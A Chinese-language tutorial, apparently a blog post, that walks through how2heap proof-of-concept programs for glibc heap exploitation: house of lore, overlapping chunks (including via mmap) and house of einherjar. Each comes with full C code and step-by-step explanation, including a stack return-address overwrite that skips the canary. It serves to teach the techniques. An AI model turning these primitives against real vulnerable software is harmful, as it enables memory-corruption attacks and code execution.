Heap Exploitation - how2heap 2
house_of_lore
这个例子主要是通过伪造chunk、fd和bk指针,使栈上的地址被安排到smallbin中,再通过malloc和memcpy来伪造数据,更改返回地址。
void jackpot(){
fprintf(stderr, "Nice jump d00d\n"); exit(0);
}
int main(int argc, char * argv[]){
// 1
intptr_t* stack_buffer_1[4] = {0};
intptr_t* stack_buffer_2[3] = {0};
intptr_t *victim = malloc(0x100);
// victim-WORD_SIZE because we need to remove the header size in order to have the absolute address of the chunk
intptr_t *victim_chunk = victim-2;
stack_buffer_1[0] = 0;
stack_buffer_1[1] = 0;
stack_buffer_1[2] = victim_chunk;
stack_buffer_1[3] = (intptr_t*)stack_buffer_2;
stack_buffer_2[2] = (intptr_t*)stack_buffer_1;
// 2
void *p5 = malloc(1000);
fprintf(stderr, "Allocated the large chunk on the heap at %p\n", p5);
fprintf(stderr, "Freeing the chunk %p, it will be inserted in the unsorted bin\n", victim);
free((void*)victim);
void *p2 = malloc(1200);
//------------VULNERABILITY-----------
fprintf(stderr, "Now emulating a vulnerability that can overwrite the victim->bk pointer\n");
// 3
victim[1] = (intptr_t)stack_buffer_1; // victim->bk is pointing to stack
//------------------------------------
fprintf(stderr, "Now allocating a chunk with size equal to the first one freed\n");
fprintf(stderr, "This should return the overwritten victim chunk and set the bin->bk to the injected victim->bk pointer\n");
// 4
void *p3 = malloc(0x100);
char *p4 = malloc(0x100);
fprintf(stderr, "\nThe fwd pointer of stack_buffer_2 has changed after the last malloc to %p\n",
stack_buffer_2[2]);
// 5
intptr_t sc = (intptr_t)jackpot; // Emulating our in-memory shellcode
memcpy((p4+40), &sc, 8); // This bypasses stack-smash detection since it jumps over the canary
// sanity check
assert((long)__builtin_return_address(0) == (long)jackpot);
}
源码被划分成5个步骤:
-
栈上伪装一个chunk,主要完成了以下工作:
stack_buffer_1 -> fd = victim_chunk
stack_buffer_1 -> bk = stack_buffer_2[0]
stack_buffer_1 -> fd = stack_buffer_1 // 这步是为了绕过small bin的检查:
-
malloc后free,此时victim_chunk被加入unsorted bin,再次malloc使victim_chunk被加入small bin
-
更改了victim_chunk的bk指针,指向stack_buffer_1,此时small bin就相当于有两个chunk
-
p3 被分配0x100字节,victim_chunk从small bin弹出,这时small bin->bk 指向的是stack_buffer_1
p4 被分配0x100字节,这块内存的首地址是small bin->bk, 即stack_buffer_1 + 0x10的地址(mem)
同时,由于stack_buffer_1这个fake chunk的bk指向的是stack_buffer_2,且stack_buffer_2的fd指向的是stack_buffer_1,所以,当stack_buffer_1从small bin取出后,small bin->bk指向的就是stack_buffer_2
-
此时p4指向的是栈地址,即stack_buffer_1 + 0x10的地址,所以可以通过memcpy可以更改栈上的数据。
接着就是读取函数地址,并将其赋值给p4+40,绕过stack canary检查,覆盖返回地址。即完成ROP攻击。
参考下图:

overlapping_chunks
free后改写chunk的size字段,使之后malloc的空间大于其原本的空间大小,与其他指针所指向的数据区域重叠
int main(int argc , char* argv[]){
// 1
intptr_t *p1,*p2,*p3,*p4;
p1 = malloc(0x100 - 8);
p2 = malloc(0x100 - 8);
p3 = malloc(0x80 - 8);
memset(p1, '1', 0x100 - 8);
memset(p2, '2', 0x100 - 8);
memset(p3, '3', 0x80 - 8);
fprintf(stderr, "\nNow let's free the chunk p2\n");
free(p2);
// 2
int evil_chunk_size = 0x181;
int evil_region_size = 0x180 - 8;
*(p2-1) = evil_chunk_size; // we are overwriting the "size" field of chunk p2
// 3
p4 = malloc(evil_region_size);
// 4
memset(p4, '4', evil_region_size);
memset(p3, '3', 80);
}
- 分配三块连续的内存,并填充不同的数据。释放p2,存入unsorted bin
- p2的size字段被设置为0x180,并且设置了prev_inuse为1
- p4被分配了0x180-8大小,unsorted bin中的chunk被取出,而该chunk的大小比原先大了0x80,导致p4末尾的区域与p3重叠了
- 用‘4’填充p4,覆盖掉了p3的数据;更改p3部分数据,覆盖掉p4部分数据
overlapping_chunks_2
这个与上一个的区别是在free之前更改大小
int main(){
// 1
intptr_t *p1,*p2,*p3,*p4,*p5,*p6;
unsigned int real_size_p1,real_size_p2,real_size_p3,real_size_p4,real_size_p5,real_size_p6;
int prev_in_use = 0x1;
p1 = malloc(1000);
p2 = malloc(1000);
p3 = malloc(1000);
p4 = malloc(1000);
p5 = malloc(1000);
real_size_p1 = malloc_usable_size(p1);
real_size_p2 = malloc_usable_size(p2);
real_size_p3 = malloc_usable_size(p3);
real_size_p4 = malloc_usable_size(p4);
real_size_p5 = malloc_usable_size(p5);
memset(p1,'A',real_size_p1);
memset(p2,'B',real_size_p2);
memset(p3,'C',real_size_p3);
memset(p4,'D',real_size_p4);
memset(p5,'E',real_size_p5);
free(p4);
// 2
*(unsigned int *)((unsigned char *)p1 + real_size_p1 ) = real_size_p2 + real_size_p3 + prev_in_use + sizeof(size_t) * 2; //<--- BUG HERE
free(p2);
// 3
p6 = malloc(2000);
real_size_p6 = malloc_usable_size(p6);
// 4
memset(p6,'F',1500);
- 分配了5块内存,并用不同的字符填充内存块。最后释放p4(这一步不做也没影响)
- 伪装一个chunk size, 塞到p2的chunk size位置,让系统认为p2的chunk size 有size(p2+p3)那么大;释放p2。
- 分配了一块size(p2+p3)大小的内存给p6,覆盖了p3的内存
- 填充p6的数据,导致p3数据被修改
mmap_overlapping_chunks
如果malloc的参数大小超过了mp_.mmap_threshold,系统就会通过mmap来分配内存,由munmap来释放内存返回给kernel。通过mmap分配的内存的元数据中,m位被置为1,代表是mmap分配的。
Mmap chunk的prev_size代表mmap chunk的剩余空间,而不是下一个块的大小。并且,chunk被释放时也不会使用到fd和bk指针,因为它不会被放回bins中。
这里描述的也是覆盖chunk的攻击,只不过这里的chunk是通过mmap来分配的。
int main(){
int* ptr1 = malloc(0x10);
// 1
long long* top_ptr = malloc(0x100000);
printf("The first mmap chunk goes directly above LibC: %p\n",top_ptr);
// After this, all chunks are allocated downwards in memory towards the heap.
long long* mmap_chunk_2 = malloc(0x100000);
printf("The second mmap chunk goes below LibC: %p\n", mmap_chunk_2);
long long* mmap_chunk_3 = malloc(0x100000);
printf("The third mmap chunk goes below the second mmap chunk: %p\n", mmap_chunk_3);
// 2
// Vulnerability!!! This could be triggered by an improper index or a buffer overflow from a chunk further below.
// Additionally, this same attack can be used with the prev_size instead of the size.
mmap_chunk_3[-1] = (0xFFFFFFFFFD & mmap_chunk_3[-1]) + (0xFFFFFFFFFD & mmap_chunk_2[-1]) | 2;
printf("New size of third mmap chunk: 0x%llx\n", mmap_chunk_3[-1]);
printf("Free the third mmap chunk, which munmaps the second and third chunks\n\n");
// Munmaps both the second and third pointers
free(mmap_chunk_3);
/*
Would crash, if on the following:
mmap_chunk_2[0] = 0xdeadbeef;
This is because the memory would not be allocated to the current program.
*/
// 3
// Gets the distance between the two pointers.
long long* overlapping_chunk = malloc(0x300000);
// 4
int distance = mmap_chunk_2 - overlapping_chunk;
printf("Distance between new chunk and the second mmap chunk (which was munmapped): 0x%x\n", distance);
printf("Value of index 0 of mmap chunk 2 prior to write: %llx\n", mmap_chunk_2[0]);
// Set the value of the overlapped chunk.
printf("Setting the value of the overlapped chunk\n");
overlapping_chunk[distance] = 0x1122334455667788;
assert(mmap_chunk_2[0] == overlapping_chunk[distance]);
}
- 分配了三块0x100000大小的内存,这些都是通过mmap分配的,所以不在heap的区域。第一块位于libc上方,而第二块位于libc下方,第三块位于第二块的下方。
- 更改chunk3的size字段,改成了size(chunk3+chunk2),大小为0x202002,然后释放chunk3。此时由于从chunk3 + 0x202000的区域已经返回给kernel,所以一旦操作读写chunk2就会造成崩溃
- 新分配一块内存,大小需要超过刚才被释放的大小0x202000,因为在前一步释放的过程中,mmapthreshold被更新成了0x202000。此时这块新分配的内存,覆盖掉了之前munmap的内存。
- 获取chunk2和overlappingChunk之间的距离,最后通过改写overlappingchunk的数据来改写chunk2的数据,完成攻击
house_of_einherjar
这里是利用off-by-one来改写chunk的pre_inuse字段,并通过改写prev size和size字段来绕过检查,最终导致free时将块合并到目标地址,并通过下一次的malloc来获取目标地址内存。
/*
Credit to st4g3r for publishing this technique
The House of Einherjar uses an off-by-one overflow with a null byte to control the pointers returned by malloc()
This technique may result in a more powerful primitive than the Poison Null Byte, but it has the additional requirement of a heap leak.
*/
int main()
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
// 1
printf("Welcome to House of Einherjar!\n");
printf("Tested in Ubuntu 16.04 64bit.\n");
printf("This technique can be used when you have an off-by-one into a malloc'ed region with a null byte.\n");
uint8_t* a;
uint8_t* b;
uint8_t* d;
printf("\nWe allocate 0x38 bytes for 'a'\n");
a = (uint8_t*) malloc(0x38);
printf("a: %p\n", a);
int real_a_size = malloc_usable_size(a);
printf("Since we want to overflow 'a', we need the 'real' size of 'a' after rounding: %#x\n", real_a_size);
// create a fake chunk
printf("\nWe create a fake chunk wherever we want, in this case we'll create the chunk on the stack\n");
printf("However, you can also create the chunk in the heap or the bss, as long as you know its address\n");
printf("We set our fwd and bck pointers to point at the fake_chunk in order to pass the unlink checks\n");
printf("(although we could do the unsafe unlink technique here in some scenarios)\n");
size_t fake_chunk[6];
fake_chunk[0] = 0x100; // prev_size is now used and must equal fake_chunk's size to pass P->bk->size == P->prev_size
fake_chunk[1] = 0x100; // size of the chunk just needs to be small enough to stay in the small bin
fake_chunk[2] = (size_t) fake_chunk; // fwd
fake_chunk[3] = (size_t) fake_chunk; // bck
fake_chunk[4] = (size_t) fake_chunk; //fwd_nextsize
fake_chunk[5] = (size_t) fake_chunk; //bck_nextsize
printf("Our fake chunk at %p looks like:\n", fake_chunk);
printf("prev_size (not used): %#lx\n", fake_chunk[0]);
printf("size: %#lx\n", fake_chunk[1]);
printf("fwd: %#lx\n", fake_chunk[2]);
printf("bck: %#lx\n", fake_chunk[3]);
printf("fwd_nextsize: %#lx\n", fake_chunk[4]);
printf("bck_nextsize: %#lx\n", fake_chunk[5]);
// 2
/* In this case it is easier if the chunk size attribute has a least significant byte with
* a value of 0x00. The least significant byte of this will be 0x00, because the size of
* the chunk includes the amount requested plus some amount required for the metadata. */
b = (uint8_t*) malloc(0xf8);
int real_b_size = malloc_usable_size(b);
printf("\nWe allocate 0xf8 bytes for 'b'.\n");
printf("b: %p\n", b);
uint64_t* b_size_ptr = (uint64_t*)(b - 8);
/* This technique works by overwriting the size metadata of an allocated chunk as well as the prev_inuse bit*/
printf("\nb.size: %#lx\n", *b_size_ptr);
printf("b.size is: (0x100) | prev_inuse = 0x101\n");
printf("We overflow 'a' with a single null byte into the metadata of 'b'\n");
a[real_a_size] = 0;
printf("b.size: %#lx\n", *b_size_ptr);
printf("This is easiest if b.size is a multiple of 0x100 so you "
"don't change the size of b, only its prev_inuse bit\n");
printf("If it had been modified, we would need a fake chunk inside "
"b where it will try to consolidate the next chunk\n");
// 3
// Write a fake prev_size to the end of a
printf("\nWe write a fake prev_size to the last %lu bytes of a so that "
"it will consolidate with our fake chunk\n", sizeof(size_t));
size_t fake_size = (size_t)((b-sizeof(size_t)*2) - (uint8_t*)fake_chunk);
printf("Our fake prev_size will be %p - %p = %#lx\n", b-sizeof(size_t)*2, fake_chunk, fake_size);
*(size_t*)&a[real_a_size-sizeof(size_t)] = fake_size;
//Change the fake chunk's size to reflect b's new prev_size
printf("\nModify fake chunk's size to reflect b's new prev_size\n");
fake_chunk[1] = fake_size;
// 4
// free b and it will consolidate with our fake chunk
printf("Now we free b and this will consolidate with our fake chunk since b prev_inuse is not set\n");
free(b);
printf("Our fake chunk size is now %#lx (b.size + fake_prev_size)\n", fake_chunk[1]);
//if we allocate another chunk before we free b we will need to
//do two things:
//1) We will need to adjust the size of our fake chunk so that
//fake_chunk + fake_chunk's size points to an area we control
//2) we will need to write the size of our fake chunk
//at the location we control.
//After doing these two things, when unlink gets called, our fake chunk will
//pass the size(P) == prev_size(next_chunk(P)) test.
//otherwise we need to make sure that our fake chunk is up against the
//wilderness
printf("\nNow we can call malloc() and it will begin in our fake chunk\n");
d = malloc(0x200);
printf("Next malloc(0x200) is at %p\n", d);
}
代码分为4个步骤:
-
a指向一块0x38的内存,在栈上构造了一个fake chunk,并改写其pre_size,size,fd,bk,fd_nextsize,bk_nextsize字段
pwndbg> x/8gx fake_chunk 0x7fffffffdd70: 0x0000000000000100 0x0000000000000100 0x7fffffffdd80: 0x00007fffffffdd70 0x00007fffffffdd70 0x7fffffffdd90: 0x00007fffffffdd70 0x00007fffffffdd70 0x7fffffffdda0: 0x00007fffffffde90 0x8e07974ff9e77c00 -
b指向一块0xf8实际0x100的内存,并通过溢出a来改写b的size字段,使其pre_inuse字段为0。
-
计算chunk(b)至fake chunk的距离,并将其写入a的最后一个字节,即b的prev_size字段,同时也需要改写fake chunk的size字段,绕过检查
-
最后,释放b,造成b与fake chunk合并,并通过malloc获取fake chunk的内存块